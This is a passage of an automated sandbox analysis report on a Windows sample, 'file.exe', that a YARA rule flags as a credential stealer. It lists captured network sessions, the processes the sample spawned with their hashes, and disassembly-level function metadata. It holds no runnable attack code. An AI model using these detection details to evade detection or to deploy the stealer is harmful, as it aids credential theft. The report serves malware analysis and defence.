22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:04:01 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:01 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:01 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230401Z-1777c6cb7544nvmshC1TEBf7qc0000000a1g00000000gca8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:04:01 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:04:01 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:02 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:02 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e332bc5f-001e-000b-6e5c-3b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230402Z-178bfbc474b9xljthC1NYCtw9400000000h0000000008g5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:04:02 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:04:01 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:02 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:02 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4e23fa7b-901e-0048-7ba0-3bb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230402Z-r1d97b9957789nh9hC1TEBxha800000009s00000000012ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 23:04:02 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	18:02:54
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8d0000
File size:	1'824'768 bytes
MD5 hash:	541B872E94F7B7AD57742C3072631A9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1467225096.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:03:29
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:03:30
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2084,i,5716946002781068814,4123827612184588113,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:03:32
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:03:32
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1904,i,16795876355070056049,5911433599732302712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	75%
Signature Coverage:	25%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 0090E470 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(008F4127,?,00000014,000000FF,?,?,00000002,?), ref: 0090E49E

Memory Dump Source

Source File: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1718530720.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718567292.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718648700.0000000000926000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000928000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000AA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000BA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718730826.0000000000BC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719083567.0000000000BC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719220898.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719242686.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0634E9AA Relevance: 1.3, APIs: 1, Instructions: 88
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0634EF41

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5d06f973761f6aaf6afd9110d435fb579f93e2e07549d3b2fb16fa8b0f06d054
Instruction ID: aafadfa48b26912d6d82757bcfcf0a02aeb97988011028056d4b8526d9c0c5f3
Opcode Fuzzy Hash: 5d06f973761f6aaf6afd9110d435fb579f93e2e07549d3b2fb16fa8b0f06d054
Instruction Fuzzy Hash: 8221F6B2A1C204CFE744FE38EC81A3AB7E9EB94310F06442DD9C697784E634684086C3

Function 0634EAC5 Relevance: 1.3, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0634F867

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 27a8c22571d34024ac4ac61bade754d97e2301810f415c6626dfb577ce5c2029
Instruction ID: 220259fe02e5b8627c57288fd6234fe864ede14ac9a4a86349eb6bfbf68426b3
Opcode Fuzzy Hash: 27a8c22571d34024ac4ac61bade754d97e2301810f415c6626dfb577ce5c2029
Instruction Fuzzy Hash: 73F0307690D2099FE784AF75C00926EB7E4FF84721F19892DE45682A40D2715C418B97

Non-executed Functions

Function 06359B4E Relevance: 3.1, Strings: 2, Instructions: 573
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dIR5, xrefs: 0635A0E4
_Wn, xrefs: 0635A0FF

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: _Wn$dIR5
API String ID: 0-1669098350
Opcode ID: 869b6d2e6ce42d3e07e418033bcc30496542e642b23567e10ad67464fafd7384
Instruction ID: 02f0290ca0cfaedcb403ee8b343d504976f864807f9da3a88670a0e10fd555e9
Opcode Fuzzy Hash: 869b6d2e6ce42d3e07e418033bcc30496542e642b23567e10ad67464fafd7384
Instruction Fuzzy Hash: 7112E2F3F146244BF3444939DD583667692EBE4320F2F86389F88A77C9E97E9C064285

Function 06380317 Relevance: 3.0, Strings: 2, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b`{~, xrefs: 063807CD
;~74, xrefs: 063807A4

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: ;~74$b`{~
API String ID: 0-2539099662
Opcode ID: 4a0d830232bf99944609685e39527369ac32152e0a7cc8b116dfc16bb81cf893
Instruction ID: b63d13db5f25284d29239353f77fbe39d7f05c95f1701125e4f4a0979a3abd29
Opcode Fuzzy Hash: 4a0d830232bf99944609685e39527369ac32152e0a7cc8b116dfc16bb81cf893
Instruction Fuzzy Hash: FDF1CEF3F106204BF3584D39DC993667693DBD5320F2E823D9A899B7C9D87E9D0A4284

Function 06383355 Relevance: 2.9, Strings: 2, Instructions: 443
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&'_, xrefs: 0638387D
FU{k, xrefs: 063837B2

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: &'_$FU{k
API String ID: 0-160248591
Opcode ID: 9cfdc8ad4660f05c442a01ecac61fea227b6725a04e32c379fac40247649c9a5
Instruction ID: 3981117f3d84b6f81c8a3b5cd1f3727299a128840af1e5b691ceec821245bc78
Opcode Fuzzy Hash: 9cfdc8ad4660f05c442a01ecac61fea227b6725a04e32c379fac40247649c9a5
Instruction Fuzzy Hash: 35E1DEF3F112254BF3444938DC983A5B692EB94325F2F4238DA98977C5ED7E9C0A8385

Function 06373A09 Relevance: 2.8, Strings: 2, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Aok8, xrefs: 06373C7E
<!ZT, xrefs: 06373D96

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: <!ZT$Aok8
API String ID: 0-4043540939
Opcode ID: 4800b4d5a94d87214d2125da2e3d1068d7f2541e4915437f43528f6b2e2c54f9
Instruction ID: 55437ef7763da85aec794615411f14630957abd19b060d4f13e937ddb486fd7c
Opcode Fuzzy Hash: 4800b4d5a94d87214d2125da2e3d1068d7f2541e4915437f43528f6b2e2c54f9
Instruction Fuzzy Hash: 0EA19EB3F5122547F7984938CC983A26683DBD1320F2F82388E896B7C5DCBE5D4A5384

Function 06368FEB Relevance: 1.8, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

`[T:, xrefs: 06369502

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: `[T:
API String ID: 0-1649453228
Opcode ID: 94d68d769cce5f2f7483905f515c8071f835ed60c9cceb30912e7241db6154dc
Instruction ID: 3bfa635c16f5cbda6386981c7c63f032a2a7066bde7bbc2fc88ed3a272b7acc6
Opcode Fuzzy Hash: 94d68d769cce5f2f7483905f515c8071f835ed60c9cceb30912e7241db6154dc
Instruction Fuzzy Hash: 7902D0F3F156144BF3084E29DC947A6B693EBD5320F2F823C9A89977C4E9BE5C058285

Function 06389C57 Relevance: 1.8, Strings: 1, Instructions: 500COMMON

Download Yara Rule

Strings

8#8|, xrefs: 0638A2D8

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: 8#8|
API String ID: 0-1627158023
Opcode ID: f7f9c18e70a490035a5372bde7bc28d9f28ef6dfe195a23a7b2d9d7942d6704f
Instruction ID: 63c9bd19cf8eba06c41f279cb36676482af2a2595be00800bdb369c936483838
Opcode Fuzzy Hash: f7f9c18e70a490035a5372bde7bc28d9f28ef6dfe195a23a7b2d9d7942d6704f
Instruction Fuzzy Hash: 42F1CFB7F102214BF3444E69DC983A67693EBD4324F2F813D9A88AB7C6D97E5C064784

Function 0637B474 Relevance: 1.7, Strings: 1, Instructions: 454COMMON

Download Yara Rule

Strings

o4G, xrefs: 0637BA58

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID: o4G
API String ID: 0-3842830063
Opcode ID: 44000844d9912ec2440979c850b37a2e2c683468421359fe451ecb1596a0c42b
Instruction ID: f600966ab872faa1028abfd91d900a3b8cbcfe6f5bd122932c5950db1351282e
Opcode Fuzzy Hash: 44000844d9912ec2440979c850b37a2e2c683468421359fe451ecb1596a0c42b
Instruction Fuzzy Hash: C1E1C0B3F146148BF3484D78DC983A6B692EBD4320F2F863C9A89A77C5D97E5C094385

Function 06377D4F Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

!Mb, xrefs: 06378106

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

